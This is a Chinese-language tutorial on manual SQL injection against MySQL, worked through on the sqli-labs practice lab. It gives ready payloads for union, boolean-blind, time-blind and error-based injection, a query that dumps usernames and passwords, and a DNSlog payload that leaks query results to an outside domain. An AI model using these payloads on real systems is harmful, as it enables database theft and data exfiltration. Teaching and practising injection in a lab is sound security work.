一.什么是SQL注入

SQL是操作数据库数据的结构化查询语言，网页的应用数据和后台数据库中的数据进行交互时会采用SQL。而SQL注入是将Web页面的原URL、表单域或数据包输入的参数，修改拼接成SQL语句，传递给Web服务器，进而传给数据库服务器以执行数据库命令。如Web应用程序的开发人员对用户所输入的数据或cookie等内容不进行过滤或验证(即存在注入点)就直接传输给数据库，就可能导致拼接的SQL被执行，获取对数据库的信息以及提权，发生SQL注入攻击。本笔记环境为MySQL数据库。

二.MySQL基本增删查改语法

创建与删除数据库

语法规则

创建:CREATE DATABASE database_name

删除:DROP DATABASE database_name
创建与删除表

语法规则

创建表:

CREATE TABLE table_name(

#字段1 数据类型,

name VARCHAR(20),

id INT(8)

);

插入数据

语法规则:INSERT INTO table_name (name,id) VALUES('张三',1);
删除数据

语法规则:DELETE FROM table_name WHERE id=1;
查询语句

语法规则:SELECT name FROM table_name WHERE id=1;

三.INFORMATION_SCHEMA库

information_schema数据库保存了整个Mysql中的所有信息(Mysql5.0以上),可以理解为信息数据库
information_schema数据库表:

1.SCHEMATA表: 保存了Mysql数据库中所有的库名 SHOW DATABASES;的结果就是取自该表的SCHEMA_NAME

查库 : select schema_name from information_schema.schemata;

2.TABLES表: 提供了数据库中每一个库的所有表的名称

查表 : select table_name from information_schema.tables where table_schema='想查表的库名';

3.COLUMNS表: 提供了所有库的所有表的所有字段信息

查列 : select column_name from information_schema.columns where table_name='想查字段的表名';

经过上述三个语句已经可以查询所有的表和字段信息就可根据查询语句查询任意信息

栗子: select password,username from security.users; (查询security库中users表中所有password和username信息)

基础Web漏洞-SQL注入入门(手工注入篇)

四.MySQL注入常用函数

user();/current_user(); 查询当前用户
@@basedir; 数据库安装路径 / @@datadir; 数据库路径
@@version_compile_os; 查询操作系统版本
字符串拼接函数

concat , concat_ws(用字符将参数拼接起来) , group_concat

例如:select group_concat(concat_ws('~',username,password)) from security.users;
字符串截取函数

substr(从第n位开始,截取m位):select substr((selsect username from users limit 0,1),1,2);

mid(从第n位开始,截取m位):select mid('martin',2,3);

left(从左开始,截取n位):select left('martin',2);

right(从右开始,截取n位):select right('martin',2);

locate(返回第一个字符串首次出现在第二个字符出现的位置):select locate('martin','12432martin');
返回ASCII字符对应的值(反向用char)

ascii:select ascii('a');

ord:select ord('a');
部分计算

select length(database()); 当前数据库名称的长度

count 计算数目
延时函数

select sleep(5); 延时5秒常用于时间盲注

if:语法if(exp1,exp2,exp3); 如果exp1为真,执行exp2,否则执行exp3
常见注释

#

--+(浏览器常用)

/*/

/*!*/

五.常见的SQL注入类型

字符型

基础Web漏洞-SQL注入入门(手工注入篇)

根据提示用GET方法提交ID参数

改变URL 发现报错

查看源码

构造URL:http://127.0.0.1/sqli/Less-1/?id=1' and 1 = 1 --+(1=1 正常 1=2报错)

数字型

查看第二关源码

发现与第一关不同的是 id参数数据类型发生了变化所以构造URL
搜索型

常见源码 :$sql="select * from user where password like '%$pwd%' order by password";

若用户输入m'and 1=1 and '%'=' 则会构成注入

源码中的语句会变成:select * from user where password like '%m'and 1=1 and '%'='%' order by password

六.常用的注入方式

union注入

使用order by语句进行列数的估计

由此可以看出列数为3列
使用union注入(union select 或 union all select)

根据前述数据库查询语句查询有哪些数据库表名进而查询详细数据

布尔盲注(页面无回显,返回的只有布尔值)

在id后加' 没有出现回显

判断是否存在注入与union类似可以使用length来猜取库名表名长度如下图

判断出长度使用substr来遍历出数据库名的字符

构造:?id=1' and ascii(substr(database(),1,1))>n --+ （使用BP爆破）
时间盲注 (基于Web界面响应的时间差来判断注入)

看出sleep函数已经被带入后端处理了证明存在注入

构造URL:http://localhost/sqli/Less-9/?id=1%27%20and%20if%20(length(database())=8,sleep(5),1)--+

大体步骤同布尔盲注只是构造的函数和判断方式改变了一下
DNSlog盲注

利用条件 mysql.ini中 secure_file_priv必须为空

构造payload:load_file(concat('\\\\',执行的语句,'.自行注册\\abc'))--+
报错注入 (公式化注入直接插入payload)

1)updatexml payload:?id=1' and (updatexml(1,concat(0x7e,(SQL语句),0x7e),1));--+

2)extractvalue

payload:?id=1' and (extractvalue(1,concat(0x7e,(SQL语句),0x7e)));--+